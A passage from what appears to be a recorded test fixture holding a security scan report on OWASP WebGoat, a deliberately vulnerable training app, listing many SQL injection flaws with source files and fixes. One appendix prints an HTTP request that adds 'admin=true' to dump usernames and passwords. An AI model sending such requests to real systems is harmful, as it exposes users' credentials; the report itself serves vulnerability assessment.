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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
